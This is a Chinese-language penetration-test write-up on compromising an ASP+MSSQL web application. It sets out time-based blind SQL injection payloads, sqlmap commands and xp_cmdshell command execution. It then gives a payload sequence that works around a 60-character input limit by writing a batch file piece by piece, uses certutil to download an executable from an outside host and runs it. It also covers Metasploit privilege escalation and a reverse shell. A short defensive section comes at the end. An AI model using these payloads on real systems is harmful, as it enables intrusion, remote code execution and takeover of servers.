asp+mssql的注入和命令执行(已脱敏)
字数 1118 2025-08-15 21:31:21
ASP+MSSQL注入与命令执行漏洞利用详解
一、漏洞发现与初步确认
-
注入点识别:
- 在搜索框输入单引号(
')触发报错,表明可能存在SQL注入漏洞 - 站点使用ASP+MSSQL架构
- 虽然默认是GET传参,但发现可通过POST传参(使用ASP的
Request.Form函数)
- 在搜索框输入单引号(
-
注入类型确认:
- 无法使用布尔盲注
- 可使用堆叠时间盲注进行注入
二、时间盲注技术详解
-
基本Payload结构:
';if (db_name()like'A%')waitfor delay '0:0:10' -- -
自动化枚举技术:
- 使用Burp Suite的Intruder模块
- 添加a-z0-9到字典中
- 通过响应时间判断正确字符(延时5秒表示命中)
-
数据库信息枚举:
- 数据库名称枚举:逐步猜测数据库名的每个字符
- 权限判断Payload:
';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--
三、SQLMap利用技巧
-
基本检测:
sqlmap -u "目标URL" --is-dba -
限制与绕过:
- 发现后端限制字符串长度为60
- 测试方法:调整单引号长度确认限制阈值
四、命令执行漏洞利用
-
xp_cmdshell基础利用:
';exec master..xp_cmdshell 'ping 127.0.0.1'-- -
命令长度限制:
- 基本命令执行结构占用31字符
- 剩余可用命令长度:29字符
-
杀软检测技术:
- 通过执行简单命令(ping)测试是否存在杀软
- 观察命令执行是否成功及响应时间
五、文件下载技术突破
-
常规下载命令问题:
certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe(34字符,超出限制)
-
Windows命令拼接技术:
@echo off set a = certuti set b = l -urlca set q = %a%%b% -
分步写入批处理文件:
- 通过多次执行将命令分段写入临时文件
- 使用copy命令添加.bat后缀
- 最终执行批处理文件
-
完整Payload序列:
';exec master..xp_cmdshell 'echo @echo off>>%temp%/3'-- ';exec master..xp_cmdshell 'echo set a = certuti>>%temp%/3'-- [...更多echo命令...] ';exec master..xp_cmdshell 'copy %temp%\3 %temp%\3.bat'-- ';exec master..xp_cmdshell '%temp%\3.bat'-- ';exec master..xp_cmdshell '%temp%\1.exe'--
六、权限提升与维持
-
权限确认:
- 使用
tasklist查看系统进程 - 确认是否存在杀毒软件
- 使用
-
提权技术:
- 使用MSF的
local_exploit_suggester模块 - 尝试MS16-075等提权漏洞
- 使用MSF的
-
权限维持失败分析:
- 使用未加密的reverse_tcp连接
- 未使用RC4或HTTPS加密流量
- 导致2小时内被防守方发现
七、防御建议
-
输入过滤:
- 严格过滤特殊字符
- 使用参数化查询
-
权限控制:
- 限制数据库用户权限
- 禁用xp_cmdshell等危险存储过程
-
监控与响应:
- 建立SQL注入攻击检测机制
- 监控异常命令执行行为
-
安全配置:
- 限制SQL语句长度
- 启用数据库审计日志
八、总结
本案例展示了ASP+MSSQL环境下从SQL注入到命令执行的完整利用链,重点突破了命令长度限制和杀软检测等障碍。攻击者通过创新的命令拼接技术和分步文件写入方法,成功实现了在严格限制条件下的远程代码执行。这提醒我们,即使存在看似有效的防护措施,攻击者仍可能通过巧妙的技术组合突破防御。